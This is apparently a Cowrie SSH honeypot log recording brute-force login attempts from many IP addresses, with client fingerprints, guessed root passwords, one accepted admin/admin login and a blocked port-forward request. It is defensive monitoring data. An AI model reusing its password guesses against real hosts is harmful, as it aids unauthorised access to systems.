{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:34.868228Z","src_ip":"103.27.238.114","session":"ab377327525c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32103210","message":"login attempt [root/32103210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:35.648956Z","src_ip":"103.27.238.114","session":"ab377327525c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:36.911364Z","src_ip":"103.27.238.114","session":"ab377327525c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":56684,"dst_ip":"159.203.135.109","dst_port":22,"session":"464a76937254","protocol":"ssh","message":"New connection: 66.29.142.197:56684 (159.203.135.109:22) [session: 464a76937254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:37.202579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:37.206374Z","src_ip":"66.29.142.197","session":"464a76937254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:37.274744Z","src_ip":"66.29.142.197","session":"464a76937254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S@f3M00n$Tr0ng@P@ss","message":"login attempt [root/S@f3M00n$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:37.480342Z","src_ip":"66.29.142.197","session":"464a76937254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:38.274764Z","src_ip":"8.210.75.243","session":"c882c5bbe975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:38.550818Z","src_ip":"66.29.142.197","session":"464a76937254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45252,"dst_ip":"10.17.0.5","dst_port":22,"session":"526b6f29878b","protocol":"ssh","message":"New connection: 8.210.75.243:45252 (10.17.0.5:22) [session: 526b6f29878b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:49.284248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:49.847446Z","src_ip":"8.210.75.243","session":"526b6f29878b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:49.857669Z","src_ip":"8.210.75.243","session":"526b6f29878b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:52.692227Z","src_ip":"8.210.75.243","session":"526b6f29878b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:54.379530Z","src_ip":"8.210.75.243","session":"526b6f29878b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":52160,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c7291ad911","protocol":"ssh","message":"New connection: 2.57.122.209:52160 (10.17.0.5:22) [session: b7c7291ad911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:55.992722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:56.559610Z","src_ip":"2.57.122.209","session":"b7c7291ad911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:56.582043Z","src_ip":"2.57.122.209","session":"b7c7291ad911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:59.567673Z","src_ip":"2.57.122.209","session":"b7c7291ad911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:01.238336Z","src_ip":"2.57.122.209","session":"b7c7291ad911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:17.027553Z","src_ip":"8.210.75.243","session":"e1eeaa406d0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":15812,"dst_ip":"10.17.0.5","dst_port":22,"session":"1549489ab7de","protocol":"ssh","message":"New connection: 176.53.159.196:15812 (10.17.0.5:22) [session: 1549489ab7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:25.566232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:25.568612Z","src_ip":"176.53.159.196","session":"1549489ab7de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:25.669125Z","src_ip":"176.53.159.196","session":"1549489ab7de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:25.990634Z","src_ip":"176.53.159.196","session":"1549489ab7de","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:26.094403Z","session":"1549489ab7de","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:26.196359Z","src_ip":"176.53.159.196","session":"1549489ab7de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:26.305332Z","src_ip":"176.53.159.196","session":"1549489ab7de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:36.075330Z","src_ip":"8.210.75.243","session":"fb71656157cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":41658,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d06c56a4e85","protocol":"ssh","message":"New connection: 194.36.147.215:41658 (10.17.0.5:22) [session: 9d06c56a4e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:48.918094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:48.921750Z","src_ip":"194.36.147.215","session":"9d06c56a4e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":23188,"dst_ip":"10.17.0.5","dst_port":22,"session":"23987f0277a3","protocol":"ssh","message":"New connection: 38.93.206.2:23188 (10.17.0.5:22) [session: 23987f0277a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:48.934615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:48.938991Z","src_ip":"38.93.206.2","session":"23987f0277a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:48.999487Z","src_ip":"38.93.206.2","session":"23987f0277a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:49.012197Z","src_ip":"194.36.147.215","session":"9d06c56a4e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"season","message":"login attempt [root/season] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:49.162513Z","src_ip":"38.93.206.2","session":"23987f0277a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qnt123","password":"qnt123","message":"login attempt [qnt123/qnt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:49.282151Z","src_ip":"194.36.147.215","session":"9d06c56a4e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:50.223378Z","src_ip":"38.93.206.2","session":"23987f0277a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:50.374124Z","src_ip":"194.36.147.215","session":"9d06c56a4e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":60274,"dst_ip":"10.17.0.5","dst_port":22,"session":"789c92a32785","protocol":"ssh","message":"New connection: 101.36.111.155:60274 (10.17.0.5:22) [session: 789c92a32785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:50.665939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:50.669375Z","src_ip":"101.36.111.155","session":"789c92a32785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:50.884336Z","src_ip":"101.36.111.155","session":"789c92a32785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZxsw2!@","message":"login attempt [root/1QAZxsw2!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:51.778710Z","src_ip":"101.36.111.155","session":"789c92a32785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:32:52.998281Z","src_ip":"101.36.111.155","session":"789c92a32785","protocol":"ssh"}
